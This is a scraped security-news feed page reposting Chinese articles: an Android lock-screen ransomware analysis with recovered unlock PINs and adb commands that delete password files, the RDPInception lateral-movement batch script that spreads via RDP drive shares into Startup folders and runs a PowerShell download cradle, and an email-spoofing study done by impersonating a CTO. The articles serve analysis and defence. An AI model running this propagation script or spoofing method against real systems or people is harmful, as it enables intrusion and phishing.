Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】Android锁屏勒索APK分析

$
0
0
【技术分享】Android锁屏勒索APK分析

2017-07-03 11:13:32

阅读:663次
点赞(0)
收藏
来源: 安全客





【技术分享】Android锁屏勒索APK分析

作者:厦门安胜网络科技有限公司





【技术分享】Android锁屏勒索APK分析
一、前言

5月12日,一场全球性互联网灾难悄然而至,一款名为WannaCRY的PC端恶意勒索软件利用NSA泄漏的危险漏洞“永恒之蓝”,给100多个国家和地区10万台电脑造成了巨大的损失。到2017年为止,全球手机用户总量已经突破50亿,而作为占比超过50%的android系统中,同样有许许多多类似WannaCRY的勒索软件正在危害我们的财产安全。

接下来,以一款主流的Android端恶意锁屏勒索应用为例,使用厦门安胜网络科技有限公司自主研发的宙斯眼安全检测系统进行自动分析,结合人工分析的方式,深入剖析勒索应用的恶意行为。知己知彼,才能更好的防患于未来。


二、运行特征

这是一款伪装成”秒赞大师”的锁屏勒索恶意应用


【技术分享】Android锁屏勒索APK分析

第一次点击启动之后,主界面会弹出诱骗激活设备管理员权限的对话框


【技术分享】Android锁屏勒索APK分析

【技术分享】Android锁屏勒索APK分析

当你点击激活后,恭喜你,你的屏幕将被锁定,无法进入手机的主界面,除非联系勒索者获得解密密码


【技术分享】Android锁屏勒索APK分析

那么,接下来我们一起来分析下这款勒索软件的实现原理,并且破解出它的解锁密码


三、准备工作

1. 分析工具:JEB/Android killer

JEB是一款收费的Android应用程序反编译工具,解析能力强,兼容性高。

Android Killer是一款免费的android应用程序反编译工具,集Apk反编译、Apk打包、Apk签名,编码互转,ADB通信等特色功能于一身。

可根据个人的习惯选择工具,这里将使用jeb进行分析

2. 分析环境:android模拟器

主要用于恶意应用的运行时分析,可使用android原生的模拟器,也可使用第三方如genymotion、天天模拟器等

四、流程分析

应用整体运行流程图如下


【技术分享】Android锁屏勒索APK分析

接下来,我们对整个流程进行详细的分析

1. 入口点

首先,我们使用jeb打开要分析的apk


【技术分享】Android锁屏勒索APK分析

其中左边为该应用反编译出来的类列表,右边为AndroidManifest.xml清单文件的内容


【技术分享】Android锁屏勒索APK分析

我们可以发现,应用的入口类为com.bugzapk.b,接下来我们分析下b类的执行逻辑,b类对应的界面如下,该界面只有一个按钮


【技术分享】Android锁屏勒索APK分析

我们找到这个按钮的点击事件


【技术分享】Android锁屏勒索APK分析

发现点击之后跳转到com.bugzapk.z类中

2. root权限

我们继续分析com.bugzapk.z类,首先分析入口函数onCreate


【技术分享】Android锁屏勒索APK分析

在入口处做了一些界面相关的初始化工作,重点在于这个100000000线程


【技术分享】Android锁屏勒索APK分析

我们可以看到,该应用首先会尝试将system分区mount为可写状态,再将应用挪入固件中,并且重启手机。如果你的手机有root过,并且给予了root权限,你将无法再通过普通的方式来卸载这个应用,就连刷机都无法清除。


【技术分享】Android锁屏勒索APK分析

当获取root权限失败后,将会诱导你激活设备管理员权限。


【技术分享】Android锁屏勒索APK分析

当你点击确定后,会跳转到com.bugzapk.c界面

3. 访问网络获取PIN码

分析com.bugzapk.c类的入口函数oncreate


【技术分享】Android锁屏勒索APK分析

启动后,首先会运行100000000这个线程


【技术分享】Android锁屏勒索APK分析

【技术分享】Android锁屏勒索APK分析

这个线程会先解密字符串得到一个链接,并调用get方法访问网络获得一个字符串,接下来我们分析下加密的算法,这里进行了三层解密:decrypt->解密->decoder


【技术分享】Android锁屏勒索APK分析

这个decrypt函数首先将16进制字符串转换成字节,再将字节进行AES解密


【技术分享】Android锁屏勒索APK分析

解密函数中有一个简单的字典,进行字符串替换。


【技术分享】Android锁屏勒索APK分析

decoder函数会对字节进行异或,得到最终的url。


【技术分享】Android锁屏勒索APK分析

根据这三个函数,我们可编写对应的解密算法解出url的值。

接下来我们打开浏览器访问这个url


【技术分享】Android锁屏勒索APK分析

我们发现返回了一大段的字符串,


【技术分享】Android锁屏勒索APK分析

最终,程序会调用正则表达式函数,并进行解密,我们调用对应的解密算法,可计算出pin值为7531


【技术分享】Android锁屏勒索APK分析

4. 激活设备管理员并且设置PIN码

com.bugzapk.c界面只有一个激活按钮


【技术分享】Android锁屏勒索APK分析

点击后会调用系统的api申请设备管理员权限,并且调用resetPassword函数将PIN码修改为上一步获取的值7531


【技术分享】Android锁屏勒索APK分析

Android中的设备管理员权限可以对手机进行锁屏,防止应用被卸载等

获取权限后,会调用锁屏函数,将屏幕锁定


【技术分享】Android锁屏勒索APK分析

并且跳转到com.bugzapk.g页面


【技术分享】Android锁屏勒索APK分析

5. 上传手机型号/钓鱼页面

com.bugzapk.g界面启动后会自动上传手机型号


【技术分享】Android锁屏勒索APK分析

并且弹出钓鱼页面诱导你输入QQ账号密码


【技术分享】Android锁屏勒索APK分析

当你输入完点击登陆后,跳转到com.bugzapk.h页面


【技术分享】Android锁屏勒索APK分析

6. 锁屏主页面

终于进入我们最重要的密码输入界面com.bugzapk.h了,首先分析密钥获取逻辑


【技术分享】Android锁屏勒索APK分析

其中c为要访问的域名,get函数访问域名。通过解密算法可得到url为


【技术分享】Android锁屏勒索APK分析

打开浏览器,访问页面返回如下字符串


【技术分享】Android锁屏勒索APK分析

获得数值后,使用正则表达式提取出37598这个密码


【技术分享】Android锁屏勒索APK分析

并且赋给pass这个成员变量,如果网络无法访问的情况下,将会使用本地的密钥


【技术分享】Android锁屏勒索APK分析

通过执行对应的解密算法,可解得本地密码值为8810


【技术分享】Android锁屏勒索APK分析

接下来我们来分析解锁函数js的逻辑


【技术分享】Android锁屏勒索APK分析

如果输入的密码值为654321,则将PIN码更改为654312


【技术分享】Android锁屏勒索APK分析

如果输入的密码值为4321,则将PIN码修改为4312


【技术分享】Android锁屏勒索APK分析

如果输入的密码值为上面分析出来的密码值,将会跳转到com.bugzapk.i界面

7. 锁屏主页面2

锁屏主页面1的密码正确后,将会进入第二个页面com.bugzapk.i


【技术分享】Android锁屏勒索APK分析

我们直接查看点击确定按钮后的解锁逻辑


【技术分享】Android锁屏勒索APK分析

输入4951密码后,页面会跳转会上一个界面


【技术分享】Android锁屏勒索APK分析

输入997998后,界面的文字会做一些改变


【技术分享】Android锁屏勒索APK分析

正确的密码值为l.x(v17,v9)这个解密函数,我们执行对应的解密函数得到正确的密码为2415


【技术分享】Android锁屏勒索APK分析

密码输入正确后,跳转到最后的PIN码界面

8. PIN码界面


【技术分享】Android锁屏勒索APK分析

com.bugzapk.d界面直接显示系统的PIN码输入页面,输入之前计算得到的PIN码即可解锁成功,进入手机,至此整体流程结束

五、修复方法参考

如果你的手机也被这种勒索病毒锁屏了该怎么办呢,你可以尝试以下几种方法:

1. 如果你有基本的android开发经验和逆向知识,你可以尝试直接分析勒索软件的解密算法得到正确的密码,一般这种软件的逻辑和算法都不会太复杂

2. 如果你的手机开启了USB调试模式,可以进入adb shell环境,并且拥有root权限,你可以尝试使用命令直接删除密码文件,删除后重启即可直接进入手机界面

adbshellrm/data/system/access_control.key adbshellrm/data/system/password.key adbshellrm/data/system/gesture.key 3. 如果手机有刷过第三方的recovery,你可以重启进入recovery模式,直接将该软件删除,或者执行第2步的命令删除密码。如果手机上的数据不重要的话,可以直接执行双wipe清除手机上的所有数据(勒索软件在固件将无效)。

4. 刷机,刷入新的系统。

5. 联系勒索者得到密码

注意:以上方法仅供参考,其中2/3/4方法有可能造成手机重要数据丢失、系统无法正常使用,请慎重操作。

现在市面上流传的移动设备勒索病毒种类繁多,其中许多病毒制作较为简单,解锁密码都是直接明文写在字符串中。你可以尝试使用宙斯眼对病毒进行分析,从生成的分析报告中可以得到许多有效的信息,甚至直接获取到解锁密码。

“宙斯眼”是一款专业的移动终端安全检测设备,采用公司自主研发的分析引擎,通过对APP反编译静态代码行为分析及动态行为分析,并匹配海量的特征库,实现快速对APP的安全进行检测,定位恶意APP并生成专业的检测报告。

六、建议

最后,在给大家以下几点建议:

1. 不要从非官方的渠道下载应用,防止应用被人为修改,加入了恶意代码

2. 对于别人发过来的apk下载链接,要慎重点击下载

3. 不要贪小便宜,去安装那些抢红包/游戏辅助之类的插件,大部分都是木马病毒

4. 对于新安装的应用,如果有弹出申请设备管理员权限或者root权限的对话框,请一律点击拒绝,除非你确定这个应用没有问题

5. 没有必要的情况下,请不要root你的手机




【技术分享】Android锁屏勒索APK分析
【技术分享】Android锁屏勒索APK分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4053.html

【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

$
0
0
【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

2017-07-03 15:42:46

阅读:966次
点赞(0)
收藏
来源: mdsec.co.uk





【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

作者:興趣使然的小胃





【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

译者:興趣使然的小胃

预估稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

系统管理员经常使用远程桌面(Remote Desktop)来远程管理计算机。对许多机构及组织来说,这种行为意味着被远程访问的主机需要被放在DMZ区中或者只开放TCP 3389端口的隔离网络中。

在远程桌面中,用户可以“选择要在远程会话中使用的设备和资源”,这些设备或资源包括本地磁盘共享等,如下图所示:


【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

已经有许多研究人员对远程桌面的攻击路径以及存在的安全风险进行了理论上的分析,其中经常被提及的一个安全风险就是接受远程桌面连接请求的目标服务器可以对连入的主机发起攻击。ActiveBreach团队的Vincent Yiu对这种名为RDPInception的攻击做了分析,提供了概念验证(PoC,proof of concept)脚本,利用这个脚本可以以递归方式对RDP服务器的访客发起攻击。ActiveBreach团队在模拟对抗演练中多次利用到了这种技术,取得了非常不错的效果。


二、RDPInception攻击的相关概念

RDPInception的攻击原理基于一个非常简单的概念,那就是“启动(Startup)”程序,也就是说,利用开始菜单中的“启动”目录强迫用户在登陆时执行代码。

考虑以下攻击场景:


【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)

在这个攻击场景中,攻击者已经攻陷了数据库服务器。管理员通过RDP方式连入跳板节点(Jump box),然后再利用RDP方式依次连入域控(Domain Controller)、文件服务器以及数据库服务器。在这条连接路径中,攻击者可以在任意节点中发起RDPInception攻击。从理论上讲,只要管理员下次再次登录每台机器,攻击者就可以利用这种攻击方式获取整条路径中每台服务器的shell接口。在这个场景中,攻击者唯一需要的就是在DB001上发起RDPInception攻击,剩余的程序可以自动完成。

攻击者可以在受限环境中使用这种技术实施横向渗透攻击,无需用户凭证或利用漏洞。


三、RDPInception的适用场景

这种攻击技术最适合在高度受限的环境中使用,特别是当其他横向渗透技术以及权限提升技术无法完成任务时,攻击者就可以考虑使用这种方法。

此外,我们来考虑一种攻击场景,其中公司的某位员工在早上4点时通过远程方式登录服务器,整个登录会话持续了5分钟。在这种情况下,即使黑客能够持续不断地监视连入的RDP会话,也很难在这么短的时间内部署攻击环境。此外,这种监视动作很大,因为攻击者需要定期使用“query user”命令来判断当前主机是否有RDP连入会话,如果攻击者每隔1小时查询一次RDP会话,那么在这种攻击场景中,攻击者就会错过良机。RDPInception技术完全不需要持续性监视RDP连入会话。


四、RDPInception原理

RDPInception的概念验证程序是一个较为简单的批处理脚本,详细步骤如下所示。

关闭echo功能。

@echooff 设置一个短期计时器,确保tsclient已被加载。
timeout1>nul2>&1 在访客主机以及目标主机上创建临时目录。
mkdir\\tsclient\c\temp>nul2>&1 mkdirC:\temp>nul2>&1 将批处理脚本拷贝到临时目录中。
copyrun.batC:\temp>nul2>&1 copyrun.bat\\tsclient\c\temp>nul2>&1 确保%TEMP%目录中不存在某个文本文件。
del/q%TEMP%\temp_00.txt>nul2>&1 在访客主机以及目标主机上搜索启动目录。
setdirs=dir/a:d/b/sC:\users\*Startup* setdirs2=dir/a:d/b/s\\tsclient\c\users\*startup* echo|%dirs%|findstr/i“Microsoft\windows\StartMenu\Programs\Startup”>>”%TEMP%\temp_00.txt” echo|%dirs2%|findstr/i“Microsoft\Windows\StartMenu\Programs\Startup”>>”%TEMP%\temp_00.txt” 遍历这些目录,尝试将批处理脚本传播到这些目录中。
for/F“tokens=*”%%ain(%TEMP%\temp_00.txt)DO( copyrun.bat“%%a”>nul2>&1 copyC:\temp\run.bat“%%a”>nul2>&1 copy\\tsclient\c\temp\run.bat“%%a”>nul2>&1 ) 清理%TEMP%文件。
del/q%TEMP%\temp_00.txt>nul2>&1 使用PowerShell来下载执行攻击程序。
powershell.exe<cradlehere>
五、攻击范围
为了在给定条件下精确筛选攻击目标,攻击者在下载或执行攻击载荷时通常会遵循某些约束条件。

以下环境变量经常作为约束条件使用,比如:

1、用户名

2、用户所在域

3、子网信息

比如,我们可以使用用户所在域对攻击脚本进行修改:

If“<DOMAINNAME>“==”%USERDOMAIN%”(<powershellcradlehere>)
六、RDPInception工具
我们上传了一个攻击脚本,可以依托Cobalt Strike框架自动化完成攻击过程,在这个项目中还有一个批处理脚本,大家可以自行修改以手动实施攻击,或者与其他工具(如Empire)配合使用。

如果你直接运行rdpinception,选择HTTP、HTTPS或者DNS类型的监听器,那么攻击过程就不会受到约束条件限制。

如果你以“rdpinception ACME”方式运行攻击脚本,那么攻击过程的约束条件就是ACME域,攻击脚本只会在加入到ACME域的主机上运行。

演示视频如下:

攻击所需的所有工具都可以从Github上的ActiveBreach仓库中获取。



【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)
【技术分享】RDPInception:一种新的RDP攻击手段(附演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.mdsec.co.uk/2017/06/rdpinception/

【技术分享】文档型漏洞攻击研究报告

$
0
0
【技术分享】文档型漏洞攻击研究报告

2017-07-03 14:46:16

阅读:1634次
点赞(0)
收藏
来源: 安全客





【技术分享】文档型漏洞攻击研究报告

作者:360安全卫士





【技术分享】文档型漏洞攻击研究报告

作者:360安全卫士

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿



【技术分享】文档型漏洞攻击研究报告

【技术分享】文档型漏洞攻击研究报告
更多详情请点击:[下载链接]密码: dsbv


【技术分享】文档型漏洞攻击研究报告
【技术分享】文档型漏洞攻击研究报告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4054.html

【技术分享】一封伪造邮件引发的研究

$
0
0
【技术分享】一封伪造邮件引发的研究

2017-07-03 17:51:51

阅读:459次
点赞(0)
收藏
来源: 安全客





【技术分享】一封伪造邮件引发的研究

作者:ForrestX386





【技术分享】一封伪造邮件引发的研究

译者:ForrestX386

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00. 前言

我用swaks 发送一封以我们公司CTO为显示发件人(腾讯企业邮箱)的伪造邮件给我的一个同事,邮件的内容就是让这位同事去CTO的办公司一趟,没想到这位同事真的去了,然后一脸懵逼的回来了

恶作剧算是完了,但是这让我开始研究伪造邮件是为什么产生的,腾讯企业邮为什么没有拦截


0x01. 关于伪造邮件的一些概念

1) 邮件服务商之间转发邮件是不需要认证的,也就是说MTA 到MTA之间转发邮件是不需要认证的,这是SMTP协议本身定义的。 所以协议钓鱼邮件就可以伪称来自某某MTA发送钓鱼邮件

2) 互联网上有一些邮件域名没有配置SPF记录 或者SPF记录值设置不当,就会被用作伪造邮件的mail_from 后缀域名

比如CodeSec.Net

3) 我们平常必须登录才能发送邮件(一般用的发邮件工具称作MUA,比如foxmail等),这是因为邮件服务商人为要求的,这不是SMTP协议本身要求的,SMTP协议本身是不需要身份认证的

4) mail_from 和from 的区别

mail_from: 是信封上的发件人,由[前缀@域名]组成,是实际发件人

from: 信封内容里的发件人。 也就是我们平时

如果mail_from (实际发件人) 和 from (宣称的发件人) 不一致,则收到的邮件会显示 本邮件由<实际发件人>代发,以提醒收件人两者的不同


【技术分享】一封伪造邮件引发的研究

有的ESP(邮件服务商)并不会要求mail_from 和from完全一致,而只是要求两者的域名相同(比如QQ 邮箱 和Gmail邮箱)

下面是Gmail邮箱收到的一封<码农周刊>发送的邮件,mail_from 和from 不完全一致, 但没有提示代发


【技术分享】一封伪造邮件引发的研究
是调用sendCloud 的API 进行发件的,由于SendCloud 对mail_from 的前缀(@前面的)用的是随机字符串,所以遇到严苛的ESP(mail_from 和from 必须完全一致才不显示代发,比如网易邮箱), 那就爱莫能助了

5) 一个腾讯企业邮特殊的例子

这是一封腾讯企业邮的收到的伪造邮件(mail_from 和from不一致), mail_from 是xxx@xxx.com from是xxx@xxx.cn

mail_from 和from 的后缀中就cn 和com 不同,也就是说只有顶级域名不同,其他相同

这样腾讯企业有竟然没有代发提示、安全提示,正常的出现在了我的收件箱中, 不管mail_from 中后缀xxx.com 的SPF是不是OK,

也不管xxx.com是不是存在


【技术分享】一封伪造邮件引发的研究

腾讯企业邮支持将邮件原始内容导出成eml文件(可用文本编辑器编辑、查看)


【技术分享】一封伪造邮件引发的研究
【技术分享】一封伪造邮件引发的研究

而另一封我伪造的一封邮件实际发件人是 service@htouhui.com, 显示发件人是xxx@xxx.cn ,收件人是 xxxx@xxx.cn

显然mail_from 和from不一致,这里腾讯企业邮是会提示你代发


【技术分享】一封伪造邮件引发的研究

比对两个伪造邮件,我据此反馈给了腾讯企业邮开发组,我觉得是腾讯企业邮的BUG,截止到本篇文章发表时一周前,腾讯企业邮给我的回复是:邮件相关策略有问题,还在优化中

6)reply-to: 信件回复的收件人, 用户直接回复邮件时,reply-to就是默认收件人。 如果用户不指定它, from就是默认收件人

7) mail_to 和 to的区别

mail_to 是实际收件人(信封上的收件人), 而 to 是显示收件人(即信封内容中的收件人)

to 也是可以伪造的(to 支持别名显示,别名也是可以伪造的),类似于from

这是一封伪造邮件,to 也被伪造了


【技术分享】一封伪造邮件引发的研究

0x02. 关于防止垃圾邮件的两种技术

1、SPF

关于SPF的概念:

SPF维基百科

1) SPF的配置

SPF 其实就是一条DNS的TXT的记录,其记录值就是 SPF的内容 比如:v=spf1 include:spf.mail.qq.com -all"

SPF 需要在域名解析服务器上配置,比如说是国内常用的DNSPOD配置如下:


【技术分享】一封伪造邮件引发的研究

比如说service@CodeSec.Net 这封邮件的SPF 记录怎么设置,那么需要在二级域名CodeSec.Net下增加一个主机记录为@, 记录类型为TXT, 记录值为v=spf1 include:spf.mail.qq.com ~all (记录值格式是这样,具体值可能有所不同)

如果收到的邮件格式是这样的: service@mail.vpgame.net ,那么SPF 记录需要这样设置

在二级域名vpgame.net配置如下:

主机记录为mail ,记录类型为TXT,记录值为:v=spf1 include:spf.sendcloud.org -all

2)查询邮件域的SPF:

windows :

nslookup-qt=txtCodeSec.Net
【技术分享】一封伪造邮件引发的研究

【技术分享】一封伪造邮件引发的研究

linux

dig-ttxtCodeSec.Net
【技术分享】一封伪造邮件引发的研究
【技术分享】一封伪造邮件引发的研究

2、DKIM

国外用的比较多,国内不多,比如腾讯邮箱默认就不支持这个

下图是一封腾讯企业邮发送到Gmail邮箱的邮件部分原始邮件信息:


【技术分享】一封伪造邮件引发的研究
可以看到并没有DKIM签名

而Gmail默认是有DKIM签名的

下图是一封Gmail邮箱发送到腾讯企业的邮件部分原始邮件信息:


【技术分享】一封伪造邮件引发的研究

可以看到是有DKIM签名的。

1)关于DKIM的概念

DKIM全称叫"Domain Key Identified Mail”,是yahoo的domainkey技术跟cisco的identified mail合起来的产物,有标准rfc4871、

rfc5762,它的目的主要用来保证邮件的完整性,避免钓鱼。与SPF一样也做Sender authentication,但DKIM做的比SPF更复杂,DKIM会对邮件头

及正文进行签名,没有私钥下,邮件被假冒或篡改后,就会与邮件头签名不一致,从而防止这样的情况。

DKIM签名是先对内容(BODY)部分HASH,然后把这个BODY HASH放到HEADER里面,再对头部做签名。头部也不是所有字段都要签名,只有一些常用的字段,或者比较有意义的。像Received、Return-path、Bcc、Resent-bcc、DKIM-Signature、Comments、Keywords这样的字段一般不签名,FROM则是必须被签名(rfc4871 5.5 Recommended Signature Content), 最后在邮件头中增加一个DKIM-Signature头用于记录签名信息。

接收方则通过DNS查询得到公开密钥后进行验证, 验证不通过,则认为是垃圾邮件,所以DKIM不仅仅可以防止垃圾邮件,还可以防止邮件内容被篡改

简单来说,DKIM(DomainKeys Identified Mail)是一种电子邮件的验证技术,使用密码学的基础提供了签名与验证的功能。

一般来说,发送方会在电子邮件的标头插入DKIM-Signature及电子签名信息。而接收方则通过DNS查询得到公开密钥后进行验证。

2)邮件域的DKIM配置和查询

邮件接收方通过DNS查询得到公开密钥后进行验证所以说需要在DNS域名解析上中加上一个TXT的记录,用来记录DKIM的公钥信息, 以DNSPOD为例 ,类似SPF记录

以service@mail.vpgame.net为例

在主机记录中写入 mail._domainkey.mail (这里的第一个mail为DKIM中域名的selector,可以修改为不同的值,一个域名可以有多个selector,这样不同的Email server可以有不同的key), 记录类型为TXT, 记录值为:

v=DKIM1;k=rsa;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmMPX+sFtBSSBaQENMXIY0kMoUxwpjsktTkjlsrdErh8WKSdRqNEZCE7e5/i9qT/rot5WikkyLoO9nWactl5u5rXliNqy4eGq3aSQAo0J1/prrL9ZP/NWVo2j6lcSgkMgVCdw7gSIxObfvmp6PIb4edNzPnRBnpjey8xWFTDBzvQIDAQAB

格式类似这样,可能具体的公钥信息不一致, 其中v表示DKIM的版本; k表示非对称的加密算法; p表示base64之后的公钥信息

如何查询邮件域的DKIM 公钥:

windows:

nslookup-qt=txtmail._domainkey.mail.vpgame.net

第一个mail 是上面所说的邮件域的selector,_domainkey 是固定格式(DKIM就是基于domainkeys的技术发展而来), mail.vpgame.net 是邮件域


【技术分享】一封伪造邮件引发的研究
Linux:
dig-ttxtmail._domainkey.mail.vpgame.net
【技术分享】一封伪造邮件引发的研究

补充一个gmail的:


【技术分享】一封伪造邮件引发的研究

3)DKIM签名信息分析

这是一封Gmail发给我的腾讯企业邮箱的邮件:


【技术分享】一封伪造邮件引发的研究

我们看一下DKIM-Signature的内容:

其中,v表示DKIM的版本,

a=rsa-sha1,表示算法(algorithm)。有rsa-sha1和rsa-sha256两种,

c=relaxed/relaxed,表示标准化方法(Canonicalization),头部和内容都用的relaxed方法。还可以用simple,表示不能有任何改动,包括空格.

d=gmail.com,发送者的域名, 也就是Gmail收到邮件信息中的所谓的"署名域", 这个"署名域"需要在邮件服务器的DKIM设置中配置的,可以和邮件域(比如service@mail.vpgame.net @后面的即是邮件域)不一样(一般都保持一样)

s=20161025,表示域名的selector,通过这个selector,可以允许一个域名有多个public key,这样不同的server可以有不同的key。

h=…,是header list,表示对HEADER中有哪些字段签名。

bh=…,是body hash。也就是内容的hash。

b=…,是header的签名。也就是把h=那个里面所有的字段及其值都取出来,外加DKIM-signature这个头(除了b=这个值,因为还不存在),一起hash一下,然后用rsa加密。

0x03. 关于国内有名的sendCloud配置注意事项

1、发件域和显示发件人(from)的邮件域(@后面的部分) 不一致导致的代发提示

ESP(邮件服务商)在收到邮件的时候都会检查mail_from 和from 的邮件域(@后面的部分)是否一致,不一致则提示邮件代发

gmail也是这样处理

如果你在sendCloud上配置的发件域和邮件显示的发件人的邮件域不一致,则会在gmail邮箱中显示邮件代发


【技术分享】一封伪造邮件引发的研究

实际发件域是mail.vpgame.net,而显示的发件人的邮件域是mail.vpgame.cn ,两者不一致,Gmail提示代发

下图是一封码农周刊发送到我Gmail邮箱中的一封邮件, 没有提示代发,因为实际发件人的邮件域是和显示发件人的邮件域是一致的


【技术分享】一封伪造邮件引发的研究
2、使用非加密端口发送代发邮件

比如上面的mail.vpgame.net 代发的一封邮件就是被显示没有加密,可能是直接调用sendCloud的未加密端口发送的


【技术分享】一封伪造邮件引发的研究
这里显示sendCloud.org未加密这封邮件, 因为gmail是从sendCloud 收到这封邮件的

0x04. 关于使用foxmail代发邮件

1. foxmail 可以配置显示其他账户(由本邮件代发显示邮件账号)


【技术分享】一封伪造邮件引发的研究

2. 用上图的配置给自己(上图的实际账号)发封邮件


【技术分享】一封伪造邮件引发的研究

这里会显示代发

3. 如果是微信收到邮件呢(腾讯企业邮箱绑定微信后,微信可收信)


【技术分享】一封伪造邮件引发的研究
不注意看,还真以为是显示的发件人发的邮件呢

4. 给Gmail 也发一封


【技术分享】一封伪造邮件引发的研究
Gmail 也没提示代发

但是我们查看Gmail的原始邮件,可以看到此邮件不是显示发件人发的


【技术分享】一封伪造邮件引发的研究

5. 我们来看回复此邮件能不能看到猫腻

Gmail的回复, 回复给了显示发件人


【技术分享】一封伪造邮件引发的研究

fomail的回复,也是回复给了显示收件人


【技术分享】一封伪造邮件引发的研究

foxmail的快速回复, 回复给了实际发件人


【技术分享】一封伪造邮件引发的研究

注: 如果是回复全部,则包含实际发件人


0x05. 一些识别伪造邮件的小技巧

1、实际发件人与显示发件人不一致

这时候就需要小心了,确认邮件真的是由合法的第三方代发的,比如有名的邮件代发服务商sendCloud,如果不是,一般都是伪造邮件

如何知道邮件的实际发件人?

一般是查看邮件的原始内容,不过还有一个小技巧,就是在收到邮件的时候,邮箱提示信息中显示的就是实际发件人


【技术分享】一封伪造邮件引发的研究

当然也可以尝试回复一下邮件,这样真实发件人就知道了,对比一下和显示的发件人是否一致,不一致就要小心了

2、一般正常的发件服务器都会配置SPF,有的还会配置DKIM,如果收到的邮件的发件人的邮件域没有配置SPF,则有可能是伪造邮件

3、一般邮件服务商都会有相应的反垃圾邮件的机制,对于有安全提示的邮件要小心,不要轻易相信,不要轻易点击其中图片、链接、附件


【技术分享】一封伪造邮件引发的研究

【技术分享】一封伪造邮件引发的研究

如上图,都是伪造邮件,而且显示是收件人也是伪造的


0x06. 补充

腾讯企业邮发送的邮件默认是加密的


【技术分享】一封伪造邮件引发的研究
一般邮件body 内容是base64-utf8 编码后的结果,可以使用k8-web 编码转换工具解码或者编码

【技术分享】一封伪造邮件引发的研究

邮件中的邮件头的from 或者 to 部分都支持中文别名显示(subject也支持中文),这些就需要写代码将中文内容编码一下, 以下是实现代码(python

#!/usr/bin/envpython #-*-coding:utf8-*- importsys fromemail.headerimportmake_header if__name__=='__main__': reload(sys) sys.setdefaultencoding('utf8') content=repr('访问下邮件中的链接,看看不能访问') printmake_header([('\xe8\xae\xbf\xe9\x97\xae\xe4\xb8\x8b\xe9\x82\xae\xe4\xbb\xb6\xe4\xb8\xad\xe7\x9a\x84\xe9\x93\xbe\xe6\x8e\xa5\xef\xbc\x8c\xe7\x9c\x8b\xe7\x9c\x8b\xe4\xb8\x8d\xe8\x83\xbd\xe8\xae\xbf\xe9\x97\xae','utf-8')]).encode()

比如说自己构造邮件原始内容(不是调用某某库哦)的时候想把subject 内容修改一下,则需要先用repr 将中文的16进制编码内容传入make_header的参数中,这种得到的结果就是邮件subject(中文)原始内容

这里要注意一下,不能直接将content传入make_header中,否则会出错,而是先打印repr('subject中文内容')值,然后将其拷贝至make_header中




【技术分享】一封伪造邮件引发的研究
【技术分享】一封伪造邮件引发的研究
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4056.html

【知识】7月4日 - 每日安全知识热点

$
0
0
【知识】7月4日 - 每日安全知识热点

2017-07-04 09:48:52

阅读:572次
点赞(0)
收藏
来源: 安全客





【知识】7月4日 - 每日安全知识热点

作者:adlab_puky





【知识】7月4日 - 每日安全知识热点

热点概要:Thinkphp5 SQL注入漏洞 && PDO真/伪预处理分析、Metasploit中smb_ms17_010.rb面临139/TCP时的缺陷、基于x86 Edge沙箱逃逸、读ios二进制文件part2:swift部分、我是如何发现intel处理器的bug、IOS10内核安全漫谈ppt、文档型漏洞攻击研究报告、Spring MVC在Servlet中获取bean,针对加密数据源场景


资讯类:

西门子发布补丁修复INTEL AMT缺陷

https://threatpost.com/siemens-patches-critical-intel-amt-flaw-in-industrial-products/126652/


技术类:

linux 内核4.12放出

http://lkml.iu.edu/hypermail/linux/kernel/1707.0/00325.html


Thinkphp5X设计缺陷导致泄漏数据库账户密码

https://xianzhi.aliyun.com/forum/read/1813.html


ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html


Metasploit中smb_ms17_010.rb面临139/TCP时的缺陷

http://scz.617.cn/windows/201707031558.txt


读ios二进制文件part2:swift部分

https://appscreener.us/blog/?code=reading-ios-app-binary-files-part-2-swift


我是如何发现intel处理器的bug

http://gallium.inria.fr/blog/intel-skylake-bug/


LIEF 新版0.7.0 发布,增加多个实用小功能

https://lief.quarkslab.com/doc/changelog.html#july-3-2017


看雪CTF2017学习记录整理系列1

https://weiyiling.cn/one/pediy_ctf2017-1


SYN FLOOD ATTACK for IP CISCO Phone

https://www.exploit-db.com/docs/42292.pdf


基于x86 Edge沙箱逃逸

https://github.com/SandboxEscaper/Edge-sandbox-escape


DVWA中的基于DOM的XSS(bypass所有安全等级)

http://www.hackingarticles.in/understanding-dom-based-xss-dvwa-bypass-security/


IOS10内核安全漫谈ppt

https://raw.githubusercontent.com/aozhimin/MOSEC-2017/master/Keynote/Revisiting%20the%20Kernel%20Security%20Enhancements%20in%20iOS%2010.key


WordPress统计插件Statistics SQL注入漏洞分析

http://ecma.io/755.html


文档型漏洞攻击研究报告

http://bobao.360.cn/learning/detail/4054.html


Dr0p1t-Framework:绕过多数杀软的一个木马生成框架

https://github.com/D4Vinci/Dr0p1t-Framework


Spring MVC在Servlet中获取bean,针对加密数据源场景

https://threathunter.org/topic/595a1bcbaf81d7037a5407a4




【知识】7月4日 - 每日安全知识热点
【知识】7月4日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4057.html

【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

$
0
0
